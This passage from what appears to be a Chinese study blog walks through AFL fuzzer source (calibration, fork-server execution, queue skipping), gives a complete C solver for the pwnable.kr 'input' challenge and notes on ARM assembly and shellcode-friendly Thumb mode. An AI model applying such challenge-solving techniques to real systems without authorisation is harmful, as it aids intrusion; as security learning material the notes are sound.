    • void* ret = DFL_ck_strdup(str);,(DFL开头)的函数就是正常的操作,比如这个DFL_ck_strdup就是用作者自己的一些逻辑+上面提到的三个主要步骤实现
    • TRK_alloc_buf(void* ret, const char* file, const char* func, u32 line) ,将哪个文件、哪个函数、哪一行申请内存的信息用 哈希散列+链地址法 的方法存在了一个散列表中,主要为了后续的检查。带alloc的函数用来存放,带free的就是用来判断有没有错误之类的

afl-fuzz.c

看完了插桩接下来就是看具体的fuzz逻辑了,这里大概有8000多行代码,慢慢缕吧

main函数前面的主逻辑就是一个处理输入参数的逻辑,里面还处理了一个non official参数 -B…这里是作者的注释,作用是指定bitmap,会影响in_bitmap这个全局变量

1
2
3
4
5
6
7
8
9
10
/* This is a secret undocumented option! It is useful if you find
an interesting test case during a normal fuzzing process, and want
to mutate it without rediscovering any of the test cases already
found during an earlier run.

To use this mode, you need to point -B to the fuzz_bitmap produced
by an earlier run for the exact same binary... and that's it.

I only used this once or twice to get variants of a particular
file, so I'm not making this an official setting. */

处理完参数之后,首先 setup_signal_handlers();check_asan_opts();,设置一系列程序运行时的信号处理,比如超时如何处理,检查asan参数,然后还有一系列的设置和检查,具体还是看代码的7910行左右吧(2.52版本)

处理完参数之后就是一些操作

main (part1)

因为函数属实有点多所以只记录了一些印象比较深的,建议想了解的话,每个函数点进去看看作者的注释说了什么,而且一些函数的作用在我前面开头提到的入门博客中有写,就不赘述了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
  save_cmdline(argc, argv);//保存当前命令
fix_up_banner(argv[optind]);//跟运行时的标志有关系,显示一个运行示例的名字之类的,可以用-T指定这个banner
check_if_tty();
get_core_count();
#ifdef HAVE_AFFINITY
bind_to_free_cpu();
#endif /* HAVE_AFFINITY */
check_crash_handling();
check_cpu_governor();
setup_post();
setup_shm();//这一步为bitmap初始共享内存,供fuzzer分析、目标文件进行记录
//还初始化了virgin_bits(如果使用-B就不会),virgin_tmout,virgin_crash,内容均为0xFF

init_count_class16();//这里是为bitmap中的执行次数分类做准备
setup_dirs_fds();
read_testcases();
load_auto();
pivot_inputs();
if (extras_dir) load_extras(extras_dir);
if (!timeout_given) find_timeout();
detect_file_args(argv + optind + 1);
if (!out_file) setup_stdio_file();
check_binary(argv[optind]);
start_time = get_cur_time();
if (qemu_mode)
use_argv = get_qemu_argv(argv[0], argv + optind, argc - optind);
else
use_argv = argv + optind;

perform_dry_run(use_argv);//这个函数可以看看,主要是初始化forkserver后用我们提供的testcase进行初始测试,然后输出测试用例的一些结果信息
//里面子函数有很多关于fuzz细节相关的代码,建议研读

calibrate_case

perform_dry_run中主要就是这个函数用我们给的所有testcase对进行循环测试,calibrate_case第一次先调用init_forkserver将结构初始化(函数见下文),然后根据临时变量stage指定的次数,使用run_target进行循环测试(函数见下文),而且每次执行完都进行了一次update_bitmap_score(这个函数用于找到更快或者规模更小的用例来达到相同的效果),这里是循环体内的一部分代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
u32 cksum;//这个变量在后面的hash会用到
if (!first_run && !(stage_cur % stats_update_freq)) show_stats();//这个是输出界面
write_to_testcase(use_mem, q->len);//输入测试用例的数据到一个临时文件,当做被测试文件的输入

fault = run_target(argv, use_tmout);//fault是目标测试返回的错误类型

/* stop_soon is set by the handler for Ctrl+C. When it's pressed,
we want to bail out quickly. */
if (stop_soon || fault != crash_mode) goto abort_calibration;//如果不是crash(只记录crash的crash模式)

cksum = hash32(trace_bits, MAP_SIZE, HASH_CONST);//对执行的trace bitmap做一次hash

if (q->exec_cksum != cksum)//如果hash值发生变化,检测变化
{
u8 hnb = has_new_bits(virgin_bits);//always 0,return 1 hit-count for a particular tuple,2 if new tuples(二元组是干什么的见官方文档吧,相当于执行路径,用bitmap记录的)
if (hnb > new_bits) new_bits = hnb;
if (q->exec_cksum)//如果已经run过
{
u32 i;
for (i = 0; i < MAP_SIZE; i++)
{
if (!var_bytes[i] && first_trace[i] != trace_bits[i])//用var_bytes记录执行变化了的位置
{
var_bytes[i] = 1;
stage_max = CAL_CYCLES_LONG;
}
}
var_detected = 1;
}
else
{
q->exec_cksum = cksum;
memcpy(first_trace, trace_bits, MAP_SIZE);
}
}

循环体之后的代码,这里就针对perform_dry_run中单个测试用例的全部变化了,q就代表一个测试用例的结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
  stop_us = get_cur_time_us();
total_cal_us += stop_us - start_us;//统计时间用
total_cal_cycles += stage_max;
/* OK, let's collect some stats about the performance of this test case.
This is used for fuzzing air time calculations in calculate_score(). */
q->exec_us = (stop_us - start_us) / stage_max;//每次执行的平均时间
q->bitmap_size = count_bytes(trace_bits);//记录路径二元组的组数
q->handicap = handicap;
q->cal_failed = 0;

total_bitmap_size += q->bitmap_size;
total_bitmap_entries++;

update_bitmap_score(q);//更新top_rated结构体
//里面有一个minimize_bits函数,意思是设置一个只有0,1表示的是否有路径的minibitmap,相当于舍弃了原始bitmap的计数,只用一字节中的一位来表示
/* If this case didn't result in new output from the instrumentation, tell
parent. This is a non-critical problem, but something to warn the user
about. */
if (!dumb_mode && first_run && !fault && !new_bits) fault = FAULT_NOBITS;

abort_calibration:
if (new_bits == 2 && !q->has_new_cov)
{
q->has_new_cov = 1;//循环执行过程中路径发生过变化
queued_with_cov++;
}
/* Mark variable paths. 在循环中如有某次的trace变化了,对该测试用例进行记录*/
if (var_detected)
{
var_byte_count = count_bytes(var_bytes);
if (!q->var_behavior)
{
mark_as_variable(q);
queued_variable++;
}
}
stage_name = old_sn;
stage_cur = old_sc;
stage_max = old_sm;
if (!first_run) show_stats();
return fault;

init_forkserver

calibrate_case中的函数,init_forkserver的代码不难懂建议直接看,又因为比较长这里就不写太多了,主要就是打开了两个pipe(一个用于forkserver发送状态、一个用于fuzzer发送命令,管道描述符分别设置值为198和199,对应之前的afl_maybe_log)之后fork出一个fuzzer子进程并setsid,把子进程的stdout、stderr全关、做了一些设置之后用execv替换成目标文件的进程映象,正式成为供fuzzer控制的forkserver。对于这个结构师傅们给出了图,对应的操作点一边是前面的afl-as.h分析中可以看到,还有一边在fuzzer中的run_target函数(下文分析)

image-20210203145001 QQ图片20210203145001

run_target

这里截取了forkserver模式的部分代码用注释的方法分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
/* Execute target application, monitoring for timeouts. Return status
information. The called program will update trace_bits[]. */
static u8 run_target(char** argv, u32 timeout) {
static struct itimerval it;//设置判断超时用
static u32 prev_timed_out = 0;
int status = 0;
u32 tb4;
child_timed_out = 0;

/* After this memset, trace_bits[] are effectively volatile, so we
must prevent any earlier operations from venturing into that
territory. */
memset(trace_bits, 0, MAP_SIZE);//每次runtarget都会将bitmap置零
MEM_BARRIER();//保护内存用

s32 res;
/* In non-dumb mode, we have the fork server up and running, so simply
tell it to have at it, and then read back PID. */

//下文的write和read是发送命令接收状态的具体位置
if ((res = write(fsrv_ctl_fd, &prev_timed_out, 4)) != 4) //4B trigger forkserver,这里对应前面的hello message,正式启动,prev_time_out在这里是啥东西应该无所谓
{
if (stop_soon) return 0;
RPFATAL(res, "Unable to request new process from fork server (OOM?)");
}

if ((res = read(fsrv_st_fd, &child_pid, 4)) != 4) //get the child's PID by the fork of forkserver
{
if (stop_soon) return 0;
RPFATAL(res, "Unable to request new process from fork server (OOM?)");
}

if (child_pid <= 0) FATAL("Fork server is misbehaving (OOM?)");

/* Configure timeout, as requested by user, then wait for child to terminate. */
it.it_value.tv_sec = (timeout / 1000);
it.it_value.tv_usec = (timeout % 1000) * 1000;
setitimer(ITIMER_REAL, &it, NULL);

/* The SIGALRM handler simply kills the child_pid and sets child_timed_out. */
s32 res;
if ((res = read(fsrv_st_fd, &status, 4)) != 4)//这里调用read应该会阻塞,因为这个statu得等子进程退出或者出错啥的
//此时forkserver还在waitpid,forkserver一旦接收到子进程的信号量就发statu到fuzzer这里
{
if (stop_soon) return 0;
RPFATAL(res, "Unable to communicate with fork server (OOM?)");
}

if (!WIFSTOPPED(status)) child_pid = 0;//已经停止了就将child_pid置零,防止在执行这几行代码时记录成time_out
it.it_value.tv_sec = 0;
it.it_value.tv_usec = 0;
setitimer(ITIMER_REAL, &it, NULL);//这里都是0的话就是取消计时器

total_execs++;

/* Any subsequent operations on trace_bits must not be moved by the
compiler below this point. Past this location, trace_bits[] behave
very normally and do not have to be treated as volatile. */
MEM_BARRIER();

tb4 = *(u32*)trace_bits;

classify_counts((u32*)trace_bits);//对trace_bits中的次数进行分类、重写
//这里比较重要,第一次分析的时候没注意在run_target分类之后bitmap中每个字节只有9种状态,在前面calibrate_case里面有一个has_new_bits一直没看懂细节

prev_timed_out = child_timed_out;

/*Report outcome to caller. 下面都是判断测试用例退出类型*/
if (WIFSIGNALED(status) && !stop_soon) {
kill_signal = WTERMSIG(status);
if (child_timed_out && kill_signal == SIGKILL) return FAULT_TMOUT;
return FAULT_CRASH;
}

/* A somewhat nasty hack for MSAN, which doesn't support abort_on_error and
must use a special exit code. */
if (uses_asan && WEXITSTATUS(status) == MSAN_ERROR)
{
kill_signal = 0;
return FAULT_CRASH;
}
return FAULT_NONE;
}

main(part2)

fuzzer的第二部分,部分删减,虽然说前面分析跑测试用例的部分已经把fuzzer原理缕了很多,但是这里开始才是变异的核心部分,有些可以参考sakura的这篇文章,可能写的更详细或者侧重点不同啥的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
  cull_queue();//用于精简提供的测试用例,算法在文章最开始提到的文章里面有写,是一个贪心策略,这里面的标记都是用的单个bit,用到了前面的minibitmap
show_init_stats();
seek_to = find_start_position();//resume时用,正常状态为0

write_stats_file(0, 0, 0);
save_auto();

if (stop_soon) goto stop_fuzzing;

while (1) {
u8 skipped_fuzz;
cull_queue();
if (!queue_cur) {//queue_cur用来判断是否执行完一轮,当然初始进来的时候应该是默认为null
queue_cycle++;//整个队列循环的次数
current_entry = 0;//这个好像就是指第几个测试用例
cur_skipped_paths = 0;//
queue_cur = queue;

show_stats();
/* If we had a full queue cycle with no new finds, try
recombination strategies next. */
if (queued_paths == prev_queued) //queue里的case数是否未变化
{
if (use_splicing) cycles_wo_finds++; //开启拼接时cycles_wo_finds++
else use_splicing = 1;//否则开启拼接
}
else cycles_wo_finds = 0;

prev_queued = queued_paths;
if (sync_id && queue_cycle == 1 && getenv("AFL_IMPORT_FIRST"))//这里是synchronize fuzz用的
sync_fuzzers(use_argv);
}
skipped_fuzz = fuzz_one(use_argv);//关键函数,fuzz_one对当前queue进行一次完整测试,也是目前最长的一个函数,大约有1500行

if (!stop_soon && sync_id && !skipped_fuzz) {
if (!(sync_interval_cnt++ % SYNC_INTERVAL))
sync_fuzzers(use_argv);
}

if (!stop_soon && exit_1) stop_soon = 2;
if (stop_soon) break;
queue_cur = queue_cur->next;
current_entry++;
}
if (queue_cur) show_stats();
write_bitmap();
write_stats_file(0, 0, 0);
save_auto();

stop_fuzzing:
SAYF(CURSOR_SHOW cLRD "\n\n+++ Testing aborted %s +++\n" cRST,
stop_soon == 2 ? "programmatically" : "by user");
/* Running for more than 30 minutes but still doing first cycle? */
if (queue_cycle == 1 && get_cur_time() - start_time > 30 * 60 * 1000) {
SAYF("\n" cYEL "[!] " cRST
"Stopped during the first cycle, results may be incomplete.\n"
" (For info on resuming, see %s/README.)\n", doc_path);
}

fclose(plot_file);
destroy_queue();
destroy_extras();
ck_free(target_path);
ck_free(sync_id);
alloc_report();
OKF("We're done here. Have a nice day!\n");
exit(0);

fuzz_one

先看一下他的跳过策略

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
if (pending_favored) 
{
/* If we have any favored, non-fuzzed new arrivals in the queue,
possibly skip to them at the expense of already-fuzzed or non-favored
cases. */
if ((queue_cur->was_fuzzed || !queue_cur->favored) && UR(100) < SKIP_TO_NEW_PROB) return 1;
//这里不满足favored或者non-fuzzed的话跳过概率是99%
}
else if (!dumb_mode && !queue_cur->favored && queued_paths > 10)
{
/* Otherwise, still possibly skip non-favored cases, albeit less often.
The odds of skipping stuff are higher for already-fuzzed inputs and
lower for never-fuzzed entries. */
if (queue_cycle > 1 && !queue_cur->was_fuzzed)
{
if (UR(100) < SKIP_NFAV_NEW_PROB) return 1;
//queue_cycle大于1且没有被fuzz过,跳过概率是75%
}
else
{
if (UR(100) < SKIP_NFAV_OLD_PROB) return 1;
//fuzzed&&no-favored,有90%概率跳过
}
}

进入fuzz流程的话,就先将case map到内存

1
2
3
4
5
fd = open(queue_cur->fname, O_RDONLY);
len = queue_cur->len;
orig_in = in_buf = mmap(0, len, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);//MAP_PRIVATE在内存对文件的修改不会影响文件本身

close(fd);

然后有一个CALIBRATION阶段和TRIMMING阶段,前者是在之前proform_dry_run中如果校准失败就再次校准,后者主要是为了修剪文件长度啥的,如果修剪文件对执行路径没有影响就make it permanent,优化后续运行

之后是一个PERFORMANCE SCORE阶段为该case计分,影响后续的havoc stage

到这里就是主要的变异策略了,推荐直接看文章吧,后面节约时间我就先不写了,以后自己要写变异策略的时候再参考吧

pwnable.kr —— input

先看看题目代码

image-20210103152433405

stage1

要求argc值为100,就是除文件名外还需要99个参数,argv['A']="\x00"argv['B']="\x20\x0a\x0d",要满足最后argv[argc]=NULL

stage2

要求从fd:0(stdin)处读出4字节\x00\x0a\x00\xff,从fd:2(stderr)处读出四字节\x00\x0a\x02\xff,这里直接读是读不了的,要使用dup2函数将文件描述符克隆到 0和2

stage3

设置一个环境变量,好说

stage4

打开一个文件名是回车的文件,读四字节\x00\x00\x00\x00

stage5

image-20210103153255873

这里好好学一下网络编程的一些东西,之前一直喜欢忽略

socket函数(返回socke描述符)

1
2
3
#include <sys/socket.h>
int socket(int family,int type,int protocol);
//返回:若成功则为非负描述符,若出错则为-1

family参数指明协议簇,决定了socket的地址类型,如AF_INET决定了要用IPv4地址(32位的)与端口号(16位的)的组合、AF_UNIX要使用一个绝对路径名作为地址

family 说明
AF_INET (一般用) IPv4协议
AF_INET6 IPv6协议
AF_LOCAL Unix域协议
AF_ROUTE 路由套接字
AF_KEY 密钥套接字

type参数指明socket类型

type 说明
SOCK_STREAM 字节流套接字
SOCK_DGRAM 数据报套接字
SOCK_SEGPACKET 有序分组套接字
SOCK_RAW 原始套接字

protocol指协议,一般赋值0让系统自动选择

(这三个参数更详细的内容可以在这里找到)

sockaddr_in结构体

用来设置具体地址给bind函数当做参数,因为一些字节序的原因不直接使用sockaddr,但两者目的等价;设置好协议簇之后,IP地址的sin_addr.s_addr可以用INADDR_ANY表示本机,也可以用具体的IP地址,如inet_addr("192.168.1.1");然后端口号使用hton()封装,转换字节序

这里题目的意思就是将我们argv['C']处的值作为绑定的端口号

bind、listen、accept、recv

设置好结构体后此程序作为服务端程序,bind对应端口,然后监听,listen函数的第一个参数即为监听的socket描述字,第二个参数为相应socket可以排队的最大连接个数。socket()函数创建的socket默认是一个主动类型的,listen函数将socket变为被动类型的,等待客户的连接请求。

这里accept返回的是新的已连接的socket描述字,和前面的监听socket描述字不一样,监听socket描述字一直存在,而当服务器完成某服务后已连接的socket描述字就会被关闭

之后使用recv接受四字节内容

更加具体的描述可以看这篇文章,同时这里还有一张图表示建立连接与TCP三次握手的关系

solution

直接上代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>

char *P="/home/pwner/Desktop/pwnable.kr/input2/input";//写题时换成pwnable.kr那边的路径
int main(){

char *Argv[101];
char *Envp[2];
//argv
int i;
for(i=0;i<100;i++)Argv[i]="\x20";
Argv['A']="\x00";
Argv['B']="\x20\x0a\x0d";
Argv[100]=NULL;//设置参数
//env
Envp[0]="\xde\xad\xbe\xef=\xca\xfe\xba\xbe";
Envp[1]=NULL;//设置环境变量

int fd1=open("./infile" , O_CREAT | O_RDWR , S_IRWXU | S_IRWXO | S_IRWXG);
int fd2=open("./errfile", O_CREAT | O_RDWR , S_IRWXU | S_IRWXO | S_IRWXG);
//这里创建两个文件打开后用于将0,2文件描述符覆盖

write(fd1,"\x00\x0a\x00\xff",4);
write(fd2,"\x00\x0a\x02\xff",4);

dup2(fd1,0);
dup2(fd2,2);
lseek(fd1,0,SEEK_SET);//写文件之后要调用lseek将文件指针重置一下
lseek(fd2,0,SEEK_SET);

close(fd1);close(fd2);

int fd3=open("./\x0a", O_CREAT | O_RDWR , S_IRWXU | S_IRWXO | S_IRWXG);//这里创建需要的“回车”文件
write(fd3,"\x00\x00\x00\x00",4);
close(fd3);

Argv['C']="8888";

execve(P,Argv,Envp);
}

然后我解题的具体做法是进入pwnable服务器之后,cd /tmp ,mkdir ljc ,cd ljc ,touch solu.c , vim solu.c

然后把这段代码写进去,修改一下可执行文件的路径保存,再 ln -s flag /home/input2/flag 为了最后一步cat flag,gcc编译之后运行,此时就会等待stage5,再从一个新的命令行用python输入就行

image-20210104202957472

pwnable.kr —— leg

一道ARM汇编的题目,来入门一下arm的汇编

ARM学习

从这个教程开始

搭环境我创了一个全新的ubuntu 20 虚拟机…装了大概一天的各种依赖等等,把python2装上去了,还有什么re2c,Ninja,meson,编译安装了一个qemu,东西还挺多的,然后又琢磨了一晚上qemu树莓派虚拟机的网络问题….照着这里(这里的helper最后还是没用,琢磨了一个下午也没琢磨出来。。tcl)还是用教程的指导把树莓派虚拟机网络问题解决了,我起qemu的命令是这样的

1
2
3
4
5
6
7
8
9
10
11
stty intr ^]
qemu-system-arm -kernel /home/coldshield/qemu_vms/kernel-qemu-4.4.34-jessie \
-cpu arm1176 \
-m 256 \
-M versatilepb \
-serial stdio \
-net nic \
-nic tap,ifname=tap0,script=no,downscript=no\
-append "root=/dev/sda2 rootfstype=ext4 rw console=ttyAMA0,115200" \
-hda /home/coldshield/qemu_vms/2017-03-02-raspbian-jessie.img \
-no-reboot

进去之后我是设置静态DNS还有网络,然后让虚拟机和host还有外网都能ping通,(参照过这里,后来自己又谷歌了一下静态配置,用了一个静态的IP还有DNS连上我的tap),然后因为镜像的磁盘空间不够又给手动扩了个容….参照这里。还有树莓派虚拟机里面的gdb只能支持python2的gef,那个教程没更新了吧可能,用gef-legacy就行,反正全部弄清楚是啥然后搭起来断断续续搞了两三天的样子….

随手记一些教程上的东西,可能会特别粗略

常见访存指令&后缀

1
2
3
4
5
6
7
8
9
10
11
ldr = Load Word
ldrh = Load unsigned Half Word
ldrsh = Load signed Half Word
ldrb = Load unsigned Byte
ldrsb = Load signed Bytes

str = Store Word
strh = Store unsigned Half Word
strsh = Store signed Half Word
strb = Store unsigned Byte
strsb = Store signed Byte

一些寄存器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

R0 – General purpose
R1 – General purpose
R2 – General purpose
R3 – General purpose
R4 – General purpose
R5 – General purpose
R6 – General purpose
R7 – Holds Syscall Number 系统调用号
R8 – General purpose
R9 – General purpose
R10 – General purpose
R11 FP Frame Pointer 类似EBP
R12 IP Intra Procedural Call
R13 SP Stack Pointer 类似ESP,以字节为单位
R14 LR Link Register 函数返回时存放返回地址
R15 PC Program Counter 类似EIP,但实际内容不是存放next的地址,而是存放当前执行指令+2指令的地址(ARM模式值+8,Thumb模式值+4,这里应该是跟指令流水线有关?)
CPSR – Current Program Status Register

函数调用时前四个参数存在 r0-r3

Thumb

When writing ARM shellcode, we need to get rid of NULL bytes and using 16-bit Thumb instructions instead of 32-bit ARM instructions reduces the chance of having them

可以用BX还有BLX指令设置寄存器最低位为1来切换ARM和Thumb模式,执行的时候最低位会被忽略所以不会产生地址对齐问题

具体的指令格式相关还是看教程吧….这里记一个大概

1
2
3
4
5
6
7
MNEMONIC{S}{condition} {Rd}, Operand1, Operand2
MNEMONIC - 指令助记符
{S} - 可选后缀,如果设置S,flags将根据操作结果进行更新
{condition} - 执行指令所需的条件
{Rd} - 目的寄存器,用于存储指令结果(不过后续提到的ldm不是)
Operand1 - 寄存器或者立即数
Operand2 - 立即数或寄存器(可用于增加、偏移)

几种寻址方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ldr r2, [r0]         最普通的,有效地址就是r0的值(r0)
ldr r1, [pc, #12] 这里有效地址是(PC)+12(arm模式 4单位对齐),不是当前执行指令地址加12

str r2, [r1, #2] 这里有效地址是(r1)+2,r1不发生更改,offset
str r2, [r1, #4]! 这里有效地址是(r1)+4,第一操作数有感叹号,所以r1发生更改 r1=r1+4 ,pre-indexed
ldr r3, [r1], #4 这里有效地址是(r1),r1发生更改 r1=r1+4 ,post-indexed

str r2, [r1, r2]
str r2, [r1, r2]!
ldr r3, [r1], r2
这三种跟上面比较相似,只不过是把立即数换成了r2寄存器的值,更改的依然是r1(用r2的值相加)

str r2, [r1, r2, LSL#2] 有效地址是(r1) + ((r2)<<2),offset
str r2, [r1, r2, LSL#2]! 有效地址是(r1) + ((r2)<<2),r1发生更改 r1= (r1) + ((r2)<<2) ,pre-indexed
ldr r3, [r1], r2, LSL#2 有效地址是(r1),r1发生更改 r1= (r1) + ((r2)<<2) ,post-indexed

ARM中的立即数是最后操作数12中的,前8位(n)和后4位(r)的组合表示, v = n ror 2*r,循环右移得到,用于12位表示32位数

访存指令(Multiple)&后缀

这里有一串类似猝发式传送的指令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
adr r0, words+12             /* address of words[3] -> r0 ,adr是取地址的指令*/
ldr r1, array_buff_bridge /* address of array_buff[0] -> r1 */
ldr r2, array_buff_bridge+4 /* address of array_buff[2] -> r2 */

ldm r0, {r4,r5} /* words[3] -> r4 = 0x03; words[4] -> r5 = 0x04 */
//ldm:load多个数据到目的寄存器,这里是将r0指向的连续内存数据分别load到r4 r5,默认情况下是r0增加的连续方向,此时执行后r0的值不会变
stm r1, {r4,r5} /* r4 -> array_buff[0] = 0x03; r5 -> array_buff[1] = 0x04 */
//stm则是将r4 45中的内容存到r1所指的连续内存,默认也是r0增加方向,此时r1值不改变

ldmia r0, {r4-r6} /* words[3] -> r4 = 0x03, words[4] -> r5 = 0x04; words[5] -> r6 = 0x05; */
stmia r1, {r4-r6} /* r4 -> array_buff[0] = 0x03; r5 -> array_buff[1] = 0x04; r6 -> array_buff[2] = 0x05 */
//这里是后缀的介绍还有指令写法可以写成r4-46,这样就是存3个了
//后缀具体代表 -IA (increase after), -IB (increase before), -DA (decrease after), -DB (decrease before)

ldmib r0, {r4-r6} /* words[4] -> r4 = 0x04; words[5] -> r5 = 0x05; words[6] -> r6 = 0x06 */
stmib r1, {r4-r6} /* r4 -> array_buff[1] = 0x04; r5 -> array_buff[2] = 0x05; r6 -> array_buff[3] = 0x06 */
ldmda r0, {r4-r6} /* words[3] -> r6 = 0x03; words[2] -> r5 = 0x02; words[1] -> r4 = 0x01 */
ldmdb r0, {r4-r6} /* words[2] -> r6 = 0x02; words[1] -> r5 = 0x01; words[0] -> r4 = 0x00 */
stmda r2, {r4-r6} /* r6 -> array_buff[2] = 0x02; r5 -> array_buff[1] = 0x01; r4 -> array_buff[0] = 0x00 */
stmdb r2, {r4-r5} /* r5 -> array_buff[1] = 0x01; r4 -> array_buff[0] = 0x00; */
//后缀的不同用法,I(x)时指令后面的寄存器操作顺序是顺着来的,D(x)时指令后面的寄存器操作顺序是逆着来的,要注意差别。这里第一个寄存器都不会发生改变

bx lr

push&pop

ARM中虽然直接写stmdb sp!, {r0, r1} ldmia sp!, {r4, r5} 在汇编会被翻译为 push {r0, r1} pop {r4, r5}
但push , pop本质上是stmdb sp!和ldmia sp!的代名词

所以push操作时是先push r1再push r0,从右到左;pop操作时是先pop r4再pop r5,从左到右;

条件执行相关

下表列出了ARM中可用的条件代码,它们的含义以及测试的标志,条件码跟着指令助记符满足指令格式就行,比如addlt,addsne

Condition Code Meaning (for cmp or subs) Status of Flags
EQ Equal Z==1
NE Not Equal Z==0
GT Signed Greater Than (Z==0) && (N==V)
LT Signed Less Than N!=V
GE Signed Greater Than or Equal N==V
LE Signed Less Than or Equal (Z==1) || (N!=V)
CS or HS Unsigned Higher or Same (or Carry Set) C==1
CC or LO Unsigned Lower (or Carry Clear) C==0
MI Negative (or Minus) N==1
PL Positive (or Plus) N==0
AL Always executed
NV Never executed
VS Signed Overflow V==1
VC No signed Overflow V==0
HI Unsigned Higher (C==1) && (Z==0)
LS Unsigned Lower or same (C==0) || (Z==0)

Thumb模式下有分支条件执行,语法格式是这样的

1
2
3
4
5
6
Syntax: IT{x{y{z}}} cond  ,IT指令之后会跟一个条件执行块,最多四条指令,这四条指令的条件都由这条IT指令指出

cond specifies the condition for the first instruction in the IT block(cond指出第一条指令的执行条件)
x specifies the condition switch for the second instruction in the IT block(x指出第二条指令执行的条件是不是和cond一样,如果x是T,那么第二条指令和cond条件相同;如果是E,那么第二条指令和cond条件相反)
y specifies the condition switch for the third instruction in the IT block(同上)
z specifies the condition switch for the fourth instruction in the IT block(同上)

所以Thumb模式下的条件执行指令块看起来就是这样的(这里直接偷图了):

image-20210111000847458

里面每个指令都是带条件的,并且符合IT指令的声明,常见的条件和相反条件有如下几个

Code Meaning Code Meaning
EQ Equal NE Not Equal
HS (or CS) Unsigned higher or same (or carry set) LO (or CC) Unsigned lower (or carry clear)
MI Negative PL Positive or Zero
VS Signed Overflow VC No Signed Overflow
HI Unsigned Higher LS Unsigned Lower or Same
GE Signed Greater Than or Equal LT Signed Less Than
GT Signed Greater Than LE Signed Less Than or Equal
AL (or omitted) Always Executed (There is no opposite to AL)

这里还有一段比较典型的将ARM切换成Thumb模式的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.syntax unified    @ this is important!
.text
.global _start

_start:
.code 32
add r3, pc, #1 @ increase value of PC by 1 and add it to R3,执行到这里时PC指向cmp指令
bx r3 @ branch + exchange to the address in R3 -> switch to Thumb state because LSB = 1

.code 16 @ Thumb state
cmp r0, #10
ite eq @ if R0 is equal 10...
addeq r1, #2 @ ... then R1 = R1 + 2
addne r1, #3 @ ... else R1 = R1 + 3
bkpt

分支指令(跳转)

三种分支指令:

  • Branch (B)
    • 简单跳转
  • Branch link (BL)
    • 将(当前执行指令地址+4)存入LR寄存器再跳转
  • Branch exchange (BX) and Branch link exchange (BLX)
    • 和B/BL指令一样步骤 然后最低位为1时会切换模式 (ARM <-> Thumb)
    • 必须用寄存器作为操作数

然后就是加上条件执行变成条件跳转了(跳转之后由于PC特性,会多读跳转目的处两条指令,实现自动PC+8?)

函数栈

先来看一个函数代码对应的汇编

main函数

1
2
3
4
5
6
7
8
int main()
{
int res = 0;
int a = 1;
int b = 2;
res = max(a, b);
return res;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Dump of assembler code for function main:
=> 0x000103e8 <+0>: push {r11, lr} @最开始执行到main时,lr存放的是<__libc_start_main+276> bl 0xb6ea4b28 <__GI_exit>,就是说这里将本函数的返回地址先存到了栈上
@然后r11存放的是前一个函数的栈帧地址(作用等于rbp吧)
0x000103ec <+4>: add r11, sp, #4 @新栈帧地址 直接sp+4得到,指向存放的lr
0x000103f0 <+8>: sub sp, sp, #16 @开辟了4*4字节大小的栈帧
0x000103f4 <+12>: mov r3, #0
0x000103f8 <+16>: str r3, [r11, #-8] @r11-8处存放0(res)
0x000103fc <+20>: mov r3, #1
0x00010400 <+24>: str r3, [r11, #-12] @r11-12处存放1(a)
0x00010404 <+28>: mov r3, #2
0x00010408 <+32>: str r3, [r11, #-16] @r11-16处存放2(b)
0x0001040c <+36>: ldr r0, [r11, #-12] @开始给要调用的函数赋值参数,把1给r0
0x00010410 <+40>: ldr r1, [r11, #-16] @把2给r1,这里可以看出来参数传递顺序
0x00010414 <+44>: bl 0x1042c <max> @把下个函数的返回地址存到lr后调用函数
0x00010418 <+48>: str r0, [r11, #-8] @(返回值赋给res,然后再给r0)
0x0001041c <+52>: ldr r3, [r11, #-8]
0x00010420 <+56>: mov r0, r3
0x00010424 <+60>: sub sp, r11, #4
0x00010428 <+64>: pop {r11, pc} @这里由于PC的特性,感觉将之前的lr内容给到PC之后,PC自己又会自动+8多读两条指令

上面代码中执行到+32处时栈帧看起来就是这样的(我这里sp指向栈顶后一个单元,可能有些实现会有不同):

image-20210111163416232

再来看max:

1
2
3
4
5
6
int max(int a,int b)
{
do_nothing();
if(a<b) return b;
else return a;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Dump of assembler code for function max:	@这里就不一行行解释了
=> 0x0001042c <+0>: push {r11, lr}
0x00010430 <+4>: add r11, sp, #4
0x00010434 <+8>: sub sp, sp, #8
0x00010438 <+12>: str r0, [r11, #-8]
0x0001043c <+16>: str r1, [r11, #-12]
0x00010440 <+20>: bl 0x1046c <do_nothing> @lr存入下一条指令地址然后跳转到do_nothing
0x00010444 <+24>: ldr r2, [r11, #-8]
0x00010448 <+28>: ldr r3, [r11, #-12]
0x0001044c <+32>: cmp r2, r3
